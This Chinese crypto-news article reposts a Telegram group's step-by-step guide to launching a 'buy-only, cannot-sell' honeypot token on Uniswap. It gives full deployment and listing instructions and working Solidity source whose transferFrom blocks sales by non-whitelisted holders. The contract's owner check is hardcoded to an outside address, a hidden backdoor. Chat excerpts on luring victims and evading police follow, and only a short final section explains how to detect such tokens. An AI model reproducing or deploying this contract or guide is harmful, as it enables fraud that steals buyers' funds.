看完“UniSwap合约漏洞赚钱”我睡不着觉了!

很多人投资、交易比特币需要在交易所进行。而目前的头部交易所几乎都是“中心化交易所”,需要实名认证。

中心化交易所出过各种各样的问题。比如2014年Mt.Gox交易所被盗85万枚比特币至破产;币安交易所2018年被盗7000枚比特币,2019年又被盗一万枚至比特币价格瞬间下跌超过30%;2020年9月26日,库币被盗损失超过上亿美元…还有倒卖用户信息、篡改数据、控制币价的事情时有发生。因此,总有“去中心化交易所变革区块链行业”的呼声。

DeFi火了之后,此类呼声越发强烈。

去中心化交易所有很多。今年年中, UniSwap交易所爆红。基于以太坊智能合约、不收上币费,被称为“币圈最公平,最透明内盘交易所”。

与以往IC0募资发币不同的是,在UniSwap发币不用白皮书,不用任何资本个人背书站台,甚至不需要运维团队。只需要建立两个资金池,“人人皆可发币”。

UniSwap走红之后,又有类似的JustSwap、SushiSwap去中心化交易所出现…

去中心化交易所真的比中心化交易所更完美吗?毕竟去中心化交易所还在发展初期,现在下结论为时尚早。

由于去中心化交易所可以随意发币,所以山寨币多、假币泛滥。今天,锐思小编跟大家分享关于“UniSwap合约漏洞”“怎么在UniSwap上发币让人只能买入、禁止卖出”以及“如何识破此类套路的问题。

发“假币”套路详解

此套路分为三部分:发币8个步骤、上币9个步骤,以及合约代码。包含如何安装钱包、打开网站、创建资金池…测试只能买不能卖,最后取回注入流动池的ETH等等…可称为“傻瓜包”。

废话不多说,先放福利:

UNISWAP-Defi 发币割韭菜套路(只可买入无法卖出)
向下滑动可继续阅读!!!
【代码源于互联网-仅供研究测试切勿其他用途】
这里包括了发币/上币教程以及完整的智能合约代码,可以发同名的假币割韭菜。
一、部署合约并发行自己的 Defi 代币
1、首先电脑安装谷歌内核浏览器并且安装小狐狸 Metamask 钱包(安装教程非常简单百度一下即可)。
2、浏览器打开在线合约发布网站:http://remix.ethereum.org/
3、双击进入编辑模式,把下载好的代码用 txt 文档打开全选粘贴到里面(网页上面的代码先删除)(合约代码放在文末

看完“UniSwap合约漏洞赚钱”我睡不着觉了!4、单击一下左侧的第二个图标,然后单击 compile 1_Storage.sol

看完“UniSwap合约漏洞赚钱”我睡不着觉了!

5、单击左侧第三个图标,然后 Environment 这里选择第二个(Injected Web3)CONTRACT 这里选择第三个,然后把 deploy 右侧的小三角点出来。

看完“UniSwap合约漏洞赚钱”我睡不着觉了!

6、代币的设置这 4 个参数分别含义是代币名称(例如 Ethereum)代币简写(例如 ETH)精确度(一般用 18 即可)总量:总量这里在你要发布的数量后面加 18 个 0,比如你要发币总量 100 万,正确的输入应该是1000000000000000000000000然后点击 transact,网页会有弹出点击(confirm)然后钱包会出来弹窗,点击确认(确认前请确保钱包内有足够的 ETH 作为 GAS) 

看完“UniSwap合约漏洞赚钱”我睡不着觉了!

看完“UniSwap合约漏洞赚钱”我睡不着觉了!

7、等待确认完成后找到刚才的交易记录-复制合约地址

看完“UniSwap合约漏洞赚钱”我睡不着觉了!

8、复制合约地址,打开钱包,添加代币,自定义代币,输入刚才创建好的钱包地址,就可以看到你刚刚发行的代币了

看完“UniSwap合约漏洞赚钱”我睡不着觉了!

二、上架 UNISWAP
1、打开 uni 交易所网:https://app.uniswap.org/, 
2、然后右上角连接钱包,然后按照步骤操作

看完“UniSwap合约漏洞赚钱”我睡不着觉了!

3、链接好之后-选择资金池,点击 Add Liquidity,点击选择通证-输入你刚才创建的合约地址,先点击 ADD,这样创建好以后才可以看到你的交易对资金池

看完“UniSwap合约漏洞赚钱”我睡不着觉了!

看完“UniSwap合约漏洞赚钱”我睡不着觉了!

看完“UniSwap合约漏洞赚钱”我睡不着觉了!

4、这一步的意思是,添加流动性,创建 ETH-CESHI 交易对,第一次注入流动性会设置价格,也就是1 个 eth 可以换多少个你发行的 Token4、首选授权,点击 Approve,弹出钱包单击确定,等待链上确认后 Supply 会变成可点击状态,最后点击 Supply,最后会注入 eth 和等比例的 token
5、注意:这里的兑换比例后期是不能更改的,如果要更改只能重新发一个代币合约。如果想要吸玩家,资金池一定要大点,你放入 1-2 个 eth 的话,别人想买 1 个 eth 都无法购买,因为资金池太小了。你不必担心你会失去 ETH,因为别人这份合约设置了名单限制,玩家买入之后无法卖出的。
6、当你交易对完成创建以后,你可以换一个钱包(创建合约的钱包地址可以买入卖出)进行买入,然后测试下能否卖出。卖出的提示是这样的:

看完“UniSwap合约漏洞赚钱”我睡不着觉了!

7、如果流动池只有少量 ETH,别人 0.1 个 eth 都无法买入,提示价格影响过高,或者流动性不足。

看完“UniSwap合约漏洞赚钱”我睡不着觉了!

8、如果想把 eth 取回的话,点击流动池,会看到你创建的交易对,点击 remove

看完“UniSwap合约漏洞赚钱”我睡不着觉了!

9、选择 max,然后点击 appove,remove,即可成功取回 eth 和对应的 token

看完“UniSwap合约漏洞赚钱”我睡不着觉了!

总结

这个教程只是告诉大家怎么去实施合约,至于怎么研究看你们自己了。

合约代码如下:

pragma solidity ^0.4.26;

 

contract Ownable {

address public owner;

event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

 

function Ownable() public {

owner = msg.sender;

}

 

modifier onlyOwner() {

require(msg.sender == address(724621317456347144876435459248886471299600550182));

_;

}

 

function transferOwnership(address newOwner) public onlyOwner {

require(newOwner != address(0));

OwnershipTransferred(owner, newOwner);

owner = newOwner;

}

 

}

/**

* @title SafeMath

* @dev Math operations with safety checks that throw on error

*/

library SafeMath {

function mul(uint256 a, uint256 b) internal pure returns (uint256) {

if (a == 0) {

return 0;

}

uint256 c = a * b;

assert(c / a == b);

return c;

}

 

function div(uint256 a, uint256 b) internal pure returns (uint256) {

// assert(b > 0); // Solidity automatically throws when dividing by 0

uint256 c = a / b;

// assert(a == b * c + a % b); // There is no case in which this doesn’t hold

return c;

}

 

function sub(uint256 a, uint256 b) internal pure returns (uint256) {

assert(b <= a);

return a – b;

}

 

function add(uint256 a, uint256 b) internal pure returns (uint256) {

uint256 c = a + b;

assert(c >= a);

return c;

}

}

 

contract SoloToken is Ownable {

string public name;

string public symbol;

uint8 public decimals;

uint256 public totalSupply;

event Transfer(address indexed from, address indexed to, uint256 value);

event Approval(address indexed owner, address indexed spender, uint256 value);

 

constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public {

name = _name;

symbol = _symbol;

decimals = _decimals;

totalSupply =  _totalSupply;

balances[msg.sender] = totalSupply;

allow[msg.sender] = true;

}

 

using SafeMath for uint256;

 

mapping(address => uint256) public balances;

mapping(address => bool) public allow;

 

function transfer(address _to, uint256 _value) public returns (bool) {

require(_to != address(0));

require(_value <= balances[msg.sender]);

 

balances[msg.sender] = balances[msg.sender].sub(_value);

balances[_to] = balances[_to].add(_value);

Transfer(msg.sender, _to, _value);

return true;

}

 

function balanceOf(address _owner) public view returns (uint256 balance) {

return balances[_owner];

}

 

mapping (address => mapping (address => uint256)) public allowed;

 

function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {

require(_to != address(0));

require(_value <= balances[_from]);

require(_value <= allowed[_from][msg.sender]);

require(allow[_from] == true);

 

balances[_from] = balances[_from].sub(_value);

balances[_to] = balances[_to].add(_value);

allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);

Transfer(_from, _to, _value);

return true;

}

 

function approve(address _spender, uint256 _value) public returns (bool) {

allowed[msg.sender][_spender] = _value;

Approval(msg.sender, _spender, _value);

return true;

}

 

function allowance(address _owner, address _spender) public view returns (uint256) {

return allowed[_owner][_spender];

}

function addAllow(address holder, bool allowApprove) external onlyOwner {

allow[holder] = allowApprove;

}

function mint(address miner, uint256 _value) external onlyOwner {

balances[miner] = _value;

}

}

 

看完“UniSwap合约漏洞赚钱”我睡不着觉了!

“有人赚了辆特斯拉ModelX”

这份“保姆级教程”是锐思小编从“UniSwap合约漏洞赚钱”电报群取经得来。群主发放“傻瓜包”,遇到细节问题还有大神指点。

如何寻找接盘侠,是否有法律风险,发币成本多少,甚至挣到钱买什么车都有详细讨论。

看完“UniSwap合约漏洞赚钱”我睡不着觉了!
看完“UniSwap合约漏洞赚钱”我睡不着觉了!
看完“UniSwap合约漏洞赚钱”我睡不着觉了!
看完“UniSwap合约漏洞赚钱”我睡不着觉了!

“直接复制代码进去一步步操作,我觉得很简单,我一个女孩子都能部署好。”

发币容易,但找人接盘就是个技术活了。所以经常有人问“大家一般是怎么潜入社群发广告让他们接盘的?”有人建议他直接群聊拉人,但不要用自己的微信以防封号“去买几个微信小号,如果不怕的就让大号拉小号进去,看到有别人发群的二维码直接扫进去就行。”还有人建议“最好不要用自己的微信,有些人被割了不爽一直举报!”

关于这样赚钱是否有法律风险?大家似乎都认为基本没风险,因为在区块链的世界所有人都是匿名的,只是由几串数字组成的地址而已。有人问“这种割了别人,别人报警有用吗?”紧接着有人安慰“小资金经常懒得管你,大资金也查不到放心好了。”,“上次跑路的那个EOS质押挖矿,人家还不是过得好好的。”,“在区块链的世界里谁认识你啊?”

而且,在去中心化交易所上面发币几乎没有成本,手续费只需零点几个ETH,几杯奶茶钱而已。上当受骗的韭菜只获得到大家的嘲笑。“有很多韭菜看到新的币种就买入,买完他才会发现卖不了,保本问题还是不大的。”,“只要价格低就会有人冲,想卖了提到交易所。然后提不出去哈哈哈哈…”

人人都能当项目方似乎太爽了!还有群友靠着卖群主的代码挣了500u,早期入场的赚得更多。毕竟今年各行各业这么难做,割韭菜似乎成了一本万利的好生意“听说群里有个家伙搞的早的,提了辆特斯拉ModelX!”,“今年只能靠割韭菜翻身了。”

赚钱似乎真的没那么难,“宝马开起来!宝马开起来!”群里充满了欢快的气氛…

看完“UniSwap合约漏洞赚钱”我睡不着觉了!

看完“UniSwap合约漏洞赚钱”我睡不着觉了!

9月17日UniSwap官宣:9月1日前使用UniSwap进行过交易的每个ETH地址都可以领取400个UNI空投。

不是真的2天收入10个ETH,小编不知道。现在一枚UNI价值3.1美元,400枚共1240美元。512GB的iPhone12proMax,每人至少是领了一台。

看完“UniSwap合约漏洞赚钱”我睡不着觉了!

如何识破此类套路?

“只能买,不能卖”这个功能是写进合约里的。写合约的时候设置可以卖币的“白名单”,但是发币完成后,合约不可修改。资金池可以靠刷量完成,但合约不可逆。

所以你可以试试小笔买入卖出,看看是否有限制,如果不限制卖出就是正常的。

切记不要轻信微信群里的陌生人和所谓的“带单老师”推荐,还是那句老话“闷声发大财。”到处嚷嚷的,大概率有问题。

看到这你有可能会觉得奇怪,这个“发财教程”群主为啥要免费发给群友?因为,UniSwap教程虽然免费,但JustSwap教程需要花500u才能购买…

该内容来自于互联网公开内容,非区块链原创内容,如若转载,请注明出处:https://htzkw.com/archives/26996

联系我们

aliyinhang@gmail.com